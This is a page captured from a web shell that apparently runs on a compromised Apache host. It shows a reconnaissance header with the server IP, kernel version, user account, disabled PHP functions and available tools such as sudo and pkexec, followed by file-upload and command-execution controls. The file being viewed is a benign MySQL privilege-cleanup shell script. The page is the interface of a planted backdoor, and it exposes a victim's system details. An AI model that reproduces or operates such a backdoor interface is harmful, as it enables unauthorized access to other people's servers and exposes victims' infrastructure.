403Webshell
Server IP : 67.43.7.42  /  Your IP : 216.73.216.61
Web Server : Apache
System : Linux host.isabellascookies.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : isabella ( 503)
PHP Version : 5.5.38
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /scripts/cleanupmysqlprivs
#!/bin/sh

echo -n "Cleaning up mysql privs.  Please ignore errors about non-existent columns as you may have an older version of mysql....."

mysql -v -f mysql <<EOM
update user set Create_priv='N' where Create_priv='Y' and User != 'root';
update user set Create_tmp_table_priv='N' where Create_tmp_table_priv='Y' and User != 'root';
update user set Lock_tables_priv='N' where Lock_tables_priv='Y' and User != 'root';
update user set Execute_priv='N' where Execute_priv='Y' and User != 'root';
EOM
mysqladmin reload

echo "Done."

Youez - 2016 - github.com/yon3zu
LinuXploit